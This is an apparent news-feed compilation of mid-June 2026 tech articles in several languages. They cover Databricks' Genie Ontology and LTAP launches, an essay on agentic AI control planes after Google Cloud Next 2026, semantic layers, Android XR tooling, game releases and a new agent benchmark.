Further, the analyst noted that the control-plane strategy reflects Ghodsi’s broader vision that data platforms could evolve into what the CEO describes as an “agentic system of record” — an authoritative source that AI agents read from, reason over, and act through.

The concept mirrors earlier platform shifts, Chaturvedi said, where ERP systems became the system of record for business transactions and data warehouses became the system of record for analytics.

The next battle, the analyst said, is over which platform becomes the system of record for enterprise AI agents.

Moor Insights and Strategy’s Leone agreed that data platforms are well-positioned to compete for that role because they already own the data, governance controls, lineage, and permissions that agents require to operate safely at scale.

Still, analysts cautioned that context alone will not determine which vendor comes out on top.

“The next enterprise AI battleground is not just context. It is verifiable execution,” Walter said.

From RAG to ontology: Databricks bets on context as the key to trusted AI agents

Wed, 17 Jun 2026 13:03:00 +0200

Showcased at the company’s Data + AI Summit, Genie Ontology uses a ranking system inspired by Google’s PageRank to identify the most authoritative business definitions within an organization.

Organizations can also upload their own business definitions or ontologies to Genie Ontology via Databricks’ existing Unity Catalog Semantics platform, Ghodsi added.

Ontology promises consistency, but readiness remains a hurdle

For CIOs, a unified context layer, such as Genie Ontology, will materially improve consistency, trust, and governance for enterprise AI deployments, according to analysts.

“One definition feeding every agent means you stop getting three different answers to the same question,” said Michael Leone, principal analyst at Moor Insights and Strategy.

Alternatively, Leone was more cautious about the trust argument: “It’s a promising idea, but it still has to prove itself before I’d lean on it for anything that matters.”

Seconding Leone, Walter pointed out that an ontology cannot fix messy definitions, poor lineage, weak ownership, or fragmented permissions on its own.

“Otherwise, the ontology becomes another stale metadata project with a more sophisticated name,” Walter added.

A growing risk of CIO confusion

Over the past year, Snowflake, Microsoft, and others have introduced some form of ontology, semantic, and context-layer offerings, but the problem is in how these offerings are named, Leone said.

“Everyone slapped a different name on basically the same idea. It slows people down as it creates confusion,” Leone noted.

The battle for the AI control plane

The concept mirrors earlier platform shifts, Chaturvedi said, where ERP systems became the system of record for business transactions and data warehouses became the system of record for analytics.

The next battle, the analyst said, is over which platform becomes the system of record for enterprise AI agents.

Still, analysts cautioned that context alone will not determine which vendor comes out on top.

“The next enterprise AI battleground is not just context. It is verifiable execution,” Walter said.

The article originally appeared on InfoWorld.

Who owns the control plane? Google Cloud Next 2026 and the real contest in agentic AI

Wed, 17 Jun 2026 11:09:08 +0200

I recently spent some time reflecting on the announcements from Google Cloud Next 2026, as well as a series of vendor briefings and a handful of enterprise architecture engagements, where the same question kept coming up across different venues: once an organization has agents, who governs them? For two years, the enterprise AI conversation has been a conversation about models — whose is largest, whose is cheapest, whose context window stretches furthest. Virtually no one was talking about data and semantic context.

After getting some perspective, I was forced to consider that model obsession might have finally fizzled out under the grim reality of non-existent ontologies and limited to no semantic context for enterprise data. The interesting question is no longer which model an enterprise runs. It is who controls the connective context layer — the agentic control plane — that decides what those agents know, what they are allowed to do and who is accountable when a thousand of them are running at once. Whoever owns that layer owns the next decade of enterprise AI and judging by the “marketecture” of every major vendor at Next 2026, the industry has reached the same conclusion.

The urgency here is clearly not a slide-ware exercise. Gartner has reported an exponential surge in enterprise inquiries about multi-agent systems and predicts that 40% of enterprise applications will embed task-specific agents by the end of 2026, up from less than 5% a year earlier. Yet the same analysts deliver an equally important counterweight: Gartner also expects more than 40% of agentic AI projects to be canceled by the end of 2027, citing escalating cost, an expanded risk surface and governance that no one built in advance. The 2026 Gartner Hype Cycle for Agentic AI makes the diagnosis plain — governance, security and FinOps capabilities are proliferating precisely because enterprises are alarmed about accountability and control as agents grow more autonomous and interconnected. Exponential demand colliding with non-existent guardrails is the environment Google walked into. So, what is the path forward to a control plane an enterprise can actually trust?

What Google actually brought to Next 2026

I’m not ardent supporter of single-ecosystem architectures. That’s not the world we live in and interoperability has always prevailed as the final arbiter of truth. Beneath all the agent drama, however, Google’s message was fundamentally architectural. The company repositioned Gemini less as a standalone model and more as the connective and contextual tissue binding data systems, applications and agent runtimes, and assembled Big Query, Alloy DB, Spanner and its managed Spark service into a new category it calls the Agentic Data Cloud. As Constellation Research observed, the standardization of data on Apache Iceberg has put the data layer itself in play, and Google responded by stacking its assets into a cross-cloud lakehouse and a knowledge catalog, complete with migration tooling pointed squarely at Snowflake and Databricks.

Three pillars define the offering. The first is a federated data layer built on the principle of reach, not relocation. By integrating Cross-Cloud Interconnect directly into the data plane and pairing it with the Apache Iceberg REST Catalog, Google lets agents query data residing on AWS or Azure as though it were local, with no egress fees and extends bi-directional federation in preview to Databricks’ Unity Catalog, Snowflake’s Polaris and the AWS Glue Data Catalog, according to Google’s own technical briefings and independent analysis. Google data cloud managing director Yasmeen Ahmad summarized in Google’s Next ’26 announcement with characteristic economy: you don’t move the data, you connect it.

The second pillar is a semantic layer — the Knowledge Catalog, an evolution of Dataplex — which uses Gemini to tag assets, infer relationships and map business meaning so that agents are grounded rather than, as one analysis put it, fast but blind. Critically, its retrieval is permission-aware, meaning agents can only retrieve and act on assets they are explicitly authorized to see — a design choice that fuses context delivery and access control into a single operation. The third pillar is a build layer, the Data Agent Kit, which ships as portable skills, MCP tools and IDE extensions that drop into VS Code, Claude Code, Gemini CLI and Codex, deliberately declining to impose a new proprietary interface.

This is a credible and, to Google’s credit, a mostly real offering. A control plane, however, is a claim, not a feature, and the term deserves more focus and detail than vendors typically provide. An agentic control plane is not a product it is a semantically governed set of domain services and underlying structured and unstructured data. How we federate agentic access and data with intention and governance means everything.

What an interoperable control plane requires

A control plane governs how a system behaves rather than performing the work itself. For agents, a genuine control plane must deliver at least five functions, and an interoperable one must deliver them across vendor, model and cloud boundaries rather than only within a single domain or scope.

The first is identity. Agents are a new class of non-human actors, and an enterprise must be able to authenticate them and manage their actions. Microsoft’s competing Agent 365, unveiled at Ignite 2025, is built explicitly around a registry of which agents exist, plus access control and security — as an Ignite 2025 industry analysis noted, that identity is foundational. The second is context and semantics, the half of the problem the data clouds have collectively rushed toward. The third, and the most consistently underplayed, is action governance — control not merely over what an agent can read, but over what it can do: the writes, the state changes, the transactional operations. The fourth is observability and lifecycle management, the simulate-evaluate-monitor-optimize loop across an agent fleet, where Google’s integrated offering is, by most accounts, the most complete a hyperscaler has yet shipped. The fifth is economics; the reason so many projects are forecast to fail is partly cost, and FinOps for agentic AI is now an expressly named discipline on Gartner’s Hype Cycle.

Interoperability cuts across all five, and here the industry has done something genuinely impactful and useful: it has agreed on protocols. The Model Context Protocol, originated by Anthropic and since donated to the Linux Foundation under multi-vendor governance, standardizes how an agent connects to tools and data. The Agent2Agent protocol, originated by Google and likewise moved to the Linux Foundation, governs how agents discover and delegate to one another across organizational boundaries. Forrester predicts that 30% of enterprise app vendors will launch their own MCP servers in 2026, and Gartner’s Anushree Verma positions standardized protocols as the enabler of the seamless interoperability that, by 2028, will let networks of specialized agents collaborate dynamically across applications.

What is key here — and what enterprise leaders miss — is that open protocols deliver portable messages, not a portable control plane. Two agents can exchange tasks across clouds in A2A all day long, but identity, semantics, action governance, observability and cost remain platform functions. A2A and MCP have ensured that the communication protocol has been commoditized. The final frontier and the competitive moat is not the communication and access protocol, it is the semantic context and the business ontology

Where Google is strong, and where leaders should look twice

Google deserves real credit for embracing open standards where it counts. It adopted MCP across its own services, repositioned Apigee as an MCP bridge that turns any standard API into a governed agent tool and built its federation story on the open Iceberg REST Catalog rather than a proprietary format. Technology Business Research (TBR) characterized this as a meaningful strategic shift: a company historically defensive about keeping data inside BigQuery now signals that it cares less about where data physically resides than about ensuring Gemini is the semantic context layer generating value on top of it.

That repositioning is exactly the lock-in risk an enterprise must carefully consider, and two limitations matter significantly and deserve an architect’s attention. The first is that federation is not the same as unified control. In my view, TBR’s analysis is totally on point: The Knowledge Catalog addresses upper-stack governance but is not an operational catalog in the way that Databricks’ Unity Catalog, Snowflake’s Polaris and AWS Glue are — those systems govern the underlying Iceberg tables. Google reads into them; it does not replace them. The second is that the focus of lock-in has simply moved up the stack to the semantic context and ontology layers. Moor Insights & Strategy and others all have cautionary tales that exiting Google-managed semantics, Gemini agents or BigQuery abstractions may prove harder than migrating the data itself. The semantics and the orchestration are now the sticky layer. I think this is a logically coherent and impressive strategy, but for every gain, something is lost. That loss is exactly the moment where an enterprise either preserves its independence or succumbs to lock-in for convenience and expedience.

There is a maturity gap also worth mentioning here as well. One widely-circulated analysis of Next 2026 carried its verdict in the title — the agent stack is ready, the semantic engine isn’t — arguing that the Knowledge Catalog, however promising, is not yet the governed business-context layer a true enterprise operating system demands and remains more aspirational than operational. With much of the federation and catalog functionality still in preview, optimism is the right approach from my perspective, not “all-in” commitment.

Meanwhile, the competition is playing a different game

The competitors are not building the same artifact, and the differences are instructive. The data-cloud catalogs — Databricks Unity Catalog, Snowflake Polaris and Cortex, AWS Glue, Microsoft Fabric — govern data and, increasingly, semantics; the entire field now accepts that agents need context, not merely access, as industry analysis of the field documents. Their structural limit is that catalog constraints are frequently informational rather than strictly enforced, and metric-oriented semantic layers model measures rather than actions or state changes. They excel at conversing with data and remain weaker at agents that act. The agent-management planes, exemplified by Microsoft’s Agent 365, approach the problem from fleet control — registry, identity, observability — and are excellent for organizations living inside Microsoft 365, bounded by that same dependence.

Palantir Foundry represents a genuinely different category. Where catalogs register tables and semantic layers define metrics, Foundry is built around an ontology that models entities, their typed relationships and the actions that can be taken against them — semantics in service of operational execution, not merely analytics. That distinction is the single most important idea for anyone designing an agentic control plane today. As Atlan frames it, a semantic layer hands agents governed metrics, which solves half the problem; agents that reason across domains and act need a knowledge-representation layer underneath — what things are, how they relate and what operations are possible. A control plane that governs reads but not writes, metrics but not actions, is fundamentally limiting for agents, and semi-autonomous action is the entire point. It is also worth noting, the semantic layer itself is now standardizing: the Open Semantic Interchange initiative, launched in late 2025 by Snowflake, dbt Labs, Salesforce and a coalition of partners under an Apache 2.0 license, finalized its v1.0 specification in early 2026. Just as MCP and A2A commoditized the agent communication protocols, OSI aims to commoditize semantic portability.

A blueprint for enterprise leaders

As always, the path forward is clear enough to state but extremely demanding to execute. An interoperable agentic control plane is not a product an enterprise purchases from a single vendor; it is an architecture it composes — open standards at the commoditized layers, owned assets at the differentiating one. Drawing on both the Next 2026 announcements and recent architectural engagements, I would urge leaders to prioritize four design commitments.

First, standardize on open formats at the storage layer. Apache Iceberg and its REST Catalog deliver genuine data portability, and this is the one element of Google’s model worth adopting wholesale, precisely because the broader industry already has. Second, standardize on open protocols at the agent layer— A2A between agents and MCP to tools and systems — so that a Gemini agent, a Claude agent and a partner’s agent can interoperate without any one of them owning the others. Third, own the semantic and ontology layer in the middle. Don’t just model metrics but entities, relationships and the typed actions agents may perform; this is what delivers semantic portability and keeps the vendor lock-in at bay and in the enterprise’s own hands rather than a vendor. Fourth, own the control-plane core components — identity, registry, observability and policy — so that governance remains independent of any single platform.

Any vendor relationship that requires managed semantics will make it intentionally harder to migrate data. The architectural response should never be to place those semantics in any single vendor’s control in the first place. Federation buys data portability; an owned ontology buys semantic portability; open protocols buy agent portability. Composed together, they close the gap that the analysts identified.

The vendors will continue to make the case that the control plane is a product. The analysts — Gartner on governance and failure rates, Forrester on protocol proliferation, TBR and Moor on the limits of federation — are collectively telling enterprise leaders something more useful: it is an architectural decision, and the organizations that treat it as one, that build adaptive governance before their agentic minions outpace them and that preserve the option to change their minds, will be the ones still in command of their AI a decade from now.

Google Cloud Next 2026 is a genuinely strong architecture, and there is no doubt that it is the most complete agentic control-plane offering any hyperscaler has yet shipped. It is also the clearest illustration to date of why no enterprise should outsource its control plane to anyone. The shift from owning models to owning the control plane is not just underway; for organizations serious about operating at the speed of an agent-driven business, it is inevitable. The winning move at this point is to show up with an architecture, not a purchase order.

This article was made possible by our partnership with the IASA Chief Architect Forum. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time, as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the IASA, the leading non-profit professional association for business technology architects.

This article is published as part of the Foundry Expert Contributor Network.
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데이터브릭스, 기업 업무 자동화 지원 AI 플랫폼 ‘지니 원’ 공개

Wed, 17 Jun 2026 10:03:01 +0200

지니 원은 데이터브릭스의 AI 제품군인 ‘지니(Genie)’의 일부로, 기업 데이터를 기반으로 답변 생성과 업무 수행을 지원한다.

데이터브릭스에 따르면, 지니의 핵심은 조직 내 데이터, 문서, 애플리케이션, 사람 등에서 축적되는 지식을 연결하는 ‘지니 온톨로지(Genie Ontology)’다. 데이터브릭스는 이를 통해 데이터브릭스 환경은 물론 파일, 채팅, 회의, 티켓 등 다양한 업무 시스템에서 비즈니스 맥락을 자동으로 수집·업데이트한다고 설명했다.

이에 따라 AI는 추론에 의존하기보다 거버넌스가 적용된 데이터를 기반으로 답변을 생성하고 업무를 수행할 수 있어 정확성을 높이고 비용과 지연 시간을 줄일 수 있다는 것이 회사 측 설명이다.

데이터브릭스 공동설립자 겸 CEO 알리 고드시는 “많은 기업용 AI가 충분한 맥락 없이 답변을 생성하고 있다”라며 “지니 온톨로리는 다양한 데이터에서 지속적으로 맥락을 학습해 더 정확하고 빠른 답변을 제공한다”라고 밝혔다.

지니 원은 웹, iOS, 안드로이드에서 사용할 수 있다. 기존 지니가 데이터브릭스 내 데이터 분석에 초점을 맞췄다면, 지니 원은 외부 애플리케이션과 데이터까지 연결 범위를 확대했다. 사용자는 문서와 보고서 생성, 업무 자동화, 알림 설정, 데이터 시각화 등의 기능을 활용할 수 있다.

함께 공개된 지니 에이전트(Genie Agents)는 사용자가 만든 대화를 재사용 가능한 AI 에이전트로 저장해 조직 내에서 공유할 수 있도록 지원한다. 지니 앱 빌더(Genie App Builder)는 기업용 애플리케이션을 개발할 수 있는 관리형 개발 환경으로, 유니티 카탈로그(Unity Catalog) 기반의 권한 관리 기능을 제공한다.

이와 함께 데이터 엔지니어링과 머신러닝 업무를 지원하는 ‘지니 코드(Genie Code)’, 데이터 및 AI 자산을 모니터링하는 운영 자동화 기능 ‘지니 제로옵스(Genie ZeroOps)’도 공개됐다.

지니 원, 지니 에이전트, 지니 코드는 현재 정식 출시됐다. 지니 앱 빌더와 지니 제로옵스는 데이터+AI 서밋(Data + AI Summit) 이후 비공개 프리뷰로 제공될 예정이다. 데이터브릭스는 사용자당 월 최대 10달러(약 1만 4,000원)의 무료 크레딧을 제공하며, 실제 사용량에 대해서만 비용을 부과한다고 밝혔다.
dl-ciokorea@foundryco.com

Xbox Game Pass: Microsoft enthüllt weitere neue Spiele für Juni 2026

Wed, 17 Jun 2026 08:58:16 +0200

Die zweite Juni-Hälfte beginnt mit der gewohnten weiteren Welle an neuen Spielen für den Xbox Game Pass. Dieses Mal kommen zur Sammlung des Gaming-Abos von Microsoft unter anderem EA Sports FC 26, Call of Duty: Vanguard und ein Indie-Hit mit dazu. (Weiter lesen)

Databricks says it solved the decades-old data pipeline problem that's been slowing AI agents

Tue, 16 Jun 2026 22:47:17 +0200

For decades, data professionals have struggled with the challenge of managing both operational and analytical databases in a unified approach that doesn't introduce latency and performance degradation.

Agents made the problem structural. A system that reasons continuously and acts on live data cannot tolerate a pipeline between itself and the information it needs to act on.

At the Data + AI Summit on Tuesday, Databricks announced two products aimed at collapsing that infrastructure. Lakehouse//RT delivers millisecond query latency directly on governed Delta and Iceberg tables, eliminating the dedicated real-time serving tier that enterprises have maintained alongside their lakehouses. LTAP, short for Lake Transactional/Analytical Processing, stores Postgres-native transactional data in Delta and Iceberg format from the point of write, removing the ETL pipelines that have connected operational and analytical systems for decades.

Reynold Xin, co-founder of Databricks, described a simpler data stack as "the holy grail for agents" in a briefing with VentureBeat, arguing that as users vibe code more applications, the agents reasoning analytically on top of those apps need the underlying infrastructure out of the way to move fast.

"The agents really prefer a much simpler stack, because they can move way faster," he said.

LTAP bets on storage-layer unification where HTAP tried engine convergence

Many vendors have tried various approaches over the decades to unify analytical and transactional data.

Back in 2014, analyst firm Gartner coined the term HTAP, an acronym that stands for Hybrid Transactional/Analytical Processing as a way to describe vendors that attempted to unify the two types of databases. Vendors including MemSQL (now known as SingleStore) SAP HANA and Oracle's MySQL Heatwave are among many HTAP vendors in the market.

LTAP is Databricks' answer to HTAP, using the Lakebase architecture to unify data at the storage layer rather than the engine level. Lakebase is Databricks' serverless cloud-based PostgreSQL database service that became generally available in February.

"HTAP to us is kind of more of a failure of the industry rather than a success," Xin said.

The LTAP approach goes to the storage layer instead of the query layer. Lakebase previously stored Postgres data in Postgres format on object storage, requiring conversion before the Lakehouse's analytical engines could use it efficiently. With LTAP, transactional data lands directly in Delta or Iceberg format, sharing the same copy that analytical workloads read. Postgres remains the transactional engine. Spark and the Lakehouse remain the analytical engine.

"The whole point is, hey, you use the best tool for the job at the query engine level, we just make sure underlying storage is a single copy of the data," Xin said.

The central engineering challenge is latency. Object storage carries response times in the seconds range, far too slow for OLTP workloads that require sub-millisecond performance. Lakebase handles this through a caching layer between Postgres compute instances and object storage. The key design decision is where the column conversion happens: idle CPU capacity in that caching layer performs the row-to-column conversion before data lands in object storage.

"When you convert data from row to column, it compresses more than 10 times, typically, so now you substantially reduce the network cost of that basic caching layer between that caching layer and the object stores," Xin said.

Lakehouse//RT delivers millisecond query latency on live lakehouse data without a separate serving tier

Lakehouse//RT is Databricks' answer to the dedicated real-time serving tier — the separate system enterprises have maintained alongside their lakehouses to handle low-latency queries, at the cost of data copies, split governance and pipeline complexity agents cannot work around. Key capabilities of Lakehouse//RT include:

Reyden compute engine: Built specifically for high-concurrency, low-latency serving, Reyden queries Delta and Iceberg tables directly without moving data out of the lakehouse.

Latency and throughput: Lakehouse//RT delivers sub-100ms latency at 12,000 queries per second, with response times as low as 10ms on smaller datasets and up to 16x better performance than existing dedicated serving stacks.

Governance and data access: Every query runs within Unity Catalog's governance framework with no separate permissions layer, no data copies and no ingestion pipelines.

Analysts see the agentic framing and open format approach as the real differentiators

The problem both products address is well-documented among enterprise data teams, but analysts draw a distinction between the pain point and the specific claim Databricks is making.

"Enterprises have had HTAP, streaming, cloud warehouses, and operational stores for years," Stephanie Walter, Practice Leader for AI Stack at HyperFRAME Research, told VentureBeat. "What is different is the agentic AI framing."

Walter noted that agents need live operational data, historical context, governance, retrieval, and write-back in the same workflow.

"That is a strong architecture argument, but Lakebase still has to prove it can meet the latency, reliability, and operational maturity CIOs expect," she said.

Mike Leone, analyst at Moor Insights and Strategy, said the path to genuine differentiation is more specific than the unification concept itself. He also noted that open analytics on a data lake is table stakes now, with many vendors providing some sort of service.

"The less common move is letting the transactional writes land in open formats too, so the operational database isn't sitting in a proprietary box while only the analytics half is open, "Leone told VentureBeat.

He added that the open format approach, paired with Lakehouse//RT querying live data directly off the lake, is what gives the architecture a credible case for retiring a whole row of specialized systems.

The technical claim that will face the most scrutiny is also the most central one. "The piece I'd still want their engineers to walk through is how both engines truly share one copy without a quiet conversion step doing the syncing in the middle," Leone said.

What this means for enterprises

For data engineers evaluating their stack for agentic workloads, the question is no longer which best-of-breed tool to run for each job — it's whether running separate tools at all is still defensible.

Enterprises that built separate operational databases, real-time serving tiers and analytical lakehouses could previously treat the gaps between them as a maintenance burden. Agents surface those gaps as an operational risk: a system reasoning across governance boundaries will find the inconsistencies faster than any human team.

The market is moving away from specialized serving layers faster than most vendor roadmaps anticipated. According to VB Pulse Q1 2026, a three-wave longitudinal survey of 100-plus employee organizations, hybrid retrieval intent tripled from 10.3% to 33.3% across the quarter while standalone vector database adoption declined across every tracked vendor. The same consolidation logic is now hitting the real-time serving tier. The traditional approach — best-of-breed tools for each workload type, pipelines between them — was built for human-speed analytical consumption. Agent workloads don't tolerate that architecture.

"The pain they're pointing at, all the copying and syncing between operational and analytical systems, is real and expensive, and anyone running this at scale feels it," Leone said.

Simplebanking: Entwickler aktualisiert die praktische Banking-App auf Version 1.6

Tue, 16 Jun 2026 07:17:13 +0200

Erst Mitte Mai haben wir zuletzt über die spannende Indie-App Simplebanking des deutschen Entwicklers Maik Klotz aus Berlin berichtet. Die macOS-App wurde von uns Mitte März erstmals vorgestellt, und seitdem gab es bereits zahlreiche Updates für die Banking-App. Der Entwickler hat sich nicht auf seiner Arbeit ausgeruht und nun eine weitere Aktualisierung für Simplebanking veröffentlicht. […]

Der Beitrag Simplebanking: Entwickler aktualisiert die praktische Banking-App auf Version 1.6 erschien zuerst auf appgefahren.de.

What’s New in Android XR: Tooling, Engine Support, and Ecosystem Updates

Mon, 15 Jun 2026 22:15:18 +0200

Posted by Stevan Silva, Group Product Manager, and Vinny DaSilva, Developer Relations Engineer, Android XR

From augmented overlays to fully immersive environments, the Android XR ecosystem is expanding rapidly, with the Samsung Galaxy XR already available today. Alongside the latest updates from Google I/O and this week's Augmented World Expo (AWE), we are rolling out new tooling, broader engine support, and ecosystem resources to help you build and scale experiences for Android XR.

To get a quick look at what’s new, check out our video recap!

Ready to dive deeper? Let’s jump into the major updates that will streamline your XR development workflow.

Build, Prototype, and Iterate with Developer Preview 4

Developer Preview 4 of the Android XR SDK delivers the APIs and tools you need to design and build right from your laptop. This update includes the specific libraries required to target both immersive and augmented experiences. Check out the video below for a comprehensive breakdown of the latest in Android XR:

To test all of these interactions without needing physical hardware, you can emulate and iterate on your code entirely within Android Studio. Check out our tooling deep dive to see how you can use XR emulator today:

Extending your mobile apps for intelligent eyewear

Building for audio and display glasses doesn't mean starting from scratch. With the Jetpack Projected library, you can take your existing mobile app to create a complementary augmented experience. The new release includes a Device Availability API that hooks into standard Android Lifecycle states, allowing your app to natively adapt its behavior based on whether the glasses are being worn.

To accelerate your development journey, use Android CLI and the display glasses skill to extend your mobile app into an augmented experience. The skill is packed with specialized knowledge of Jetpack Compose Glimmer, enabling it to build your UI using our recommended design patterns.

We’ve also updated Jetpack Compose Glimmer to optimize text legibility on optical see-through displays and provide touchpad-optimized navigation components.

See how it looks in action: Developers at NAVER Papago are already exploring how to seamlessly bring their mobile experience directly to display glasses.

To learn how to leverage these tools, watch this session on extending mobile apps for AI glasses:

Building global, location-based immersive experiences

For developers focused on immersive experiences, Developer Preview 4 brings modern, Kotlin-first architectural upgrades across our core perception libraries. We have also introduced an early preview of the Geospatial API for wired XR glasses. By combining ARCore for Jetpack XR with Google's Visual Positioning System (VPS), you can anchor digital content to high-precision real-world locations.

Leverage the Platforms You Know with Expanded Engine Support

We want you to build using the ecosystems and workflows you already know best. To make it easier to bring your existing XR experiences over to Android XR, we are thrilled to introduce official support for Unreal Engine and Godot alongside our Unity's support for wired glasses.

With this expansion, we are introducing the Android XR Engine Hub, a desktop tool for Windows that shortens iteration cycles by bringing real-time testing directly into your engines viewport. Catch the full breakdown of our engine updates here:

Apply Today for the Android XR Developer Catalyst Program

In addition to providing the platform, we want to fuel your innovation directly through ecosystem resources. The Android XR Developer Catalyst Program is designed to support developers with access to pre-release hardware, including display glasses, and wired XR glasses.

Accepted developers will receive resources, support forums, and launch guidance to prepare their apps for Google Play. Applications are open right now, so don't wait to submit your project ideas.

Start Building!

The ecosystem is growing rapidly, and the tools are ready for you to explore. Samsung Galaxy XR is available now, and you can dive in today with Developer Preview 4 of the Android XR SDK. If you don’t have hardware yet, check out the tools and to get started with the XR Emulator in Android Studio.

For a complete look at all of our technical sessions, browse the full Android XR Playlist on YouTube to see what else is possible. We can’t wait to see what you build!

Steam Next Fest: Virtuelle Indie-Messe liefert hunderte Spieledemos

Mon, 15 Jun 2026 19:19:28 +0200

Dreimal im Jahr rückt Valve mit der Steam-Spielevorschau eine Woche lang Demos zu neuen Indie-Games und Entwickler-Livestreams in den Mittelpunkt – und jetzt ist es wieder soweit. Noch bis zum 22. Juni um 19:00 Uhr stehen auf Steam „hunderte“ noch nicht erschienene Spiele im Rahmen kostenloser Demo-Versionen zur Verfügung.

Universal semantic layers: critical infrastructure or the next data fabric?

Mon, 15 Jun 2026 12:05:47 +0200

We’re finding out that context is everything when it comes to successful enterprise AI deployments. Removing ambiguity, and working around agreed definitions and vocabularies are essential as agentic AI starts to become more autonomous. At their recent data and analytics summit, Gartner predicted that by 2030, USLs will be treated as critical infrastructure alongside data platforms and cybersecurity, and that 44% of data and analytics leaders have already implemented semantic layers, with a further 48% planning to by 2027.

But CIOs have been here before. Data fabric, data mesh, lakehouses, and active metadata were each promoted as critical enterprise infrastructure on previous Gartner cycles, and each has since been absorbed into adjacent products, or quietly forgotten. The semantic layer is a more concrete capability than any of those, but before treating predictions as a buying signal, it’s worth pressure-testing the claim.

What a true semantic layer looks like

Ben Clinch, leading AI, data, and architecture community advocate at the EDM Association and DAMA-UK, sees the strategic value of trusted semantic layers.

“Well-crafted semantic layers bring a level of context and intention that empower AI, processes, and people,” he says. “Enterprises of a significant scale often have a diverse set of data stores and systems that can’t easily interact or share consistent meaning without considerable complexity and expenditure. True semantic layers unify these data stores and their meaning in a powerful network effect.”

The key here is Ben’s emphasis on well-crafted and true, which set a high bar that most enterprise implementations have historically struggled to clear. Technology is rarely the hardest hurdle. Organizations often have conflicting definitions as to what counts as revenue or a customer. Cross-functional alignment is essential and is where most semantic layer initiatives stall, long before the architecture is drawn up.

The vendor land-grab

Every major data platform has spent the past 18 months reframing itself around a semantic layer for AI. Microsoft’s Fabric IQ, launched at Ignite in November 2025, is positioned as the semantic foundation for enterprise AI. Databricks shipped Unity Catalog Metric Views and wired its Genie agent directly into them. Snowflake’s Cortex Analyst sits on native Semantic Views, Salesforce launched Tableau Semantics to feed Agentforce, and dbt Labs open-sourced MetricFlow at Coalesce 2025 to power agentic workflows.

But through their experience specifying and deploying large data platforms, CIOs will understand that universal is doing a lot of work in the marketing of these vendors’ offerings. Most of these products are BI-era semantic models with agentic veneers, and originally built to feed human-readable dashboards, not provide the dynamic, real-time context that autonomous agents demand. A semantic layer designed to power a clean Tableau dashboard will likely buckle under the unpredictable, non-linear requests of an agent stack.

The Open Semantic Interchange (OSI), launched in September 2025 by Snowflake, Salesforce, dbt, BlackRock, Alation, and others has the potential to address these issues. Yet OSI is still in early development, and major players including Microsoft and SAP haven’t signed up. The standards war is a long way from being won.

Why pilots don’t scale

McKinsey’s 2026 research on agentic AI tells an increasingly familiar story about AI deployment roadblocks. Nearly two-thirds of enterprises have piloted agents, but fewer than 10% have scaled them, and around 80% cite data limitations as the core problem.

The constraint is not raw data availability, as large enterprises have more data than they can use. It’s the absence of shared meaning across it, which is exactly the gap a semantic layer can solve. Enterprises are rightly nervous about exposing that context to autonomous agents without semantic-aware guardrails. This is the problem with the BI-era semantic layer underneath most pilots, as it was designed for a different job entirely.

What CIOs should demand

Should CIOs buy the universal pitch? Not yet, but they should invest in metric governance and one well-defined semantic model where AI is touching customers or revenue. The main problem is overcoming vested interests within the enterprise, and focusing on the customer, the most important element for any business, will help build a strong foundation for the future.

Also, demand OSI alignment from vendors. Portability is the only thing that turns a feature into infrastructure, and it’s the easiest thing to lose if you don’t ask for it up front.

Then apply Clinch’s test to whatever product you’re considering. Does it actually unify meaning across your diverse data estate, or does it only generate network effects within a single platform?

Gartner’s 2030 prediction may well come true, but only if the OSI effort succeeds, the hyperscaler land-grab is constrained, and enterprises do the unglamorous organizational work of agreeing what their data means. The test, in the meantime, is the one Clinch sets, which asks if the layer in front of you carries context and intention across the estate. So treat universal as a forecast, not yet a fact.

SpaceCraft: Weltraum-MMO aus Frankreich hebt im Early Access ab

Sun, 14 Jun 2026 20:03:44 +0200

Das zuvor für Northgard bekannte Indie-Studio Shiro Gamesa aus Frankreich hat SpaceCraft auf Steam in den Early Access entlassen. Die Online-Weltraumsandbox kombiniert Erkundung, Ressourcenabbau, Produktion, Handel und Unternehmensmanagement in einer persistenten Galaxie. Zum Start gibt es 10 Prozent Rabatt.

Wochenrück- und Ausblick: Ein gotisches Remake erstrahlt im Unreal-Engine-5-Glanz

Sun, 14 Jun 2026 08:02:25 +0200

Das Remake von Gothic 1 hat sich in dieser Woche an die Spitze der Artikel mit den meisten Zugriffen geschoben. Anstelle der ZenGin des Originals von 2001 sorgt die Unreal Engine 5 für gehobene, aber letztlich nicht mehr als leicht überdurchschnittliche Grafikpracht. Die Anforderungen des Spiels fallen dennoch relativ hoch aus.

Creative Assembly is developing its own custom technology for Alien: Isolation 2 'to really fine tune the experience and create exactly the best Alien experience'

Sat, 13 Jun 2026 22:17:41 +0200

Creative Assembly has confirmed that Alien: Isolation 2 will be built with Unreal Engine 5, but the team is also developing custom technology.

Phoebe Bridgers has rekindled the 'phone-free gigs' debate again — I fully support a ban and this poll shows most tech fans do too

Sat, 13 Jun 2026 15:47:52 +0200

The indie singer-songwriter is the latest high-profile artist to tell fans they can't have their phones at live shows.

NBA streetball, crafting with renewable energy and other new indie games worth checking out

Sat, 13 Jun 2026 13:02:32 +0200

Plus, the next game from the Mouthwashing devs and trying to survive as a sentient guitar.

Hello Weather: Half Off for WWDC Week, Just in Time for Summer [Sponsor]

Thu, 11 Jun 2026 13:55:23 +0200

Summer and WWDC arrive together this year, and Hello Weather is ready for both. It’s one of the most beloved indie weather apps around, and right now it’s half off, which makes it a great time to give it a try as your daily driver. Hello Weather has always been known for its simple, friendly, […]

Surprise upset: GPT-5.5 beats Claude Fable 5 on brutal new Agents’ Last Exam benchmark

Thu, 11 Jun 2026 01:32:51 +0200

Researchers from the University of California, Berkeley's Center for Responsible, Decentralized Intelligence (RDI), alongside an advisory committee of over 300 domain experts, have launched Agents’ Last Exam (ALE)—a grueling new benchmark built to measure whether artificial intelligence can actually execute economically valuable, long-horizon professional workflows.

In a shocking upset, OpenAI’s GPT-5.5 from April, operating through the Codex harness, secured the absolute top spot on the new ALE Leaderboard with a 24.0% pass rate, beating Anthropic's highly anticipated, brand new Mythos-class Claude Fable 5 model released just yesterday, which came in third with a score of 22.0%.

Rather than testing models on isolated coding puzzles, ALE is explicitly designed as an instrument to close the gap between academic benchmark hype and real, GDP-relevant labor impact. And right now, the data proves the most advanced models in the world are fundamentally failing the exam.

Ending the Era of 'Cheating' and Brittle Graders

The fundamental shift in ALE lies in its evaluation architecture and the demands it places on the agent.

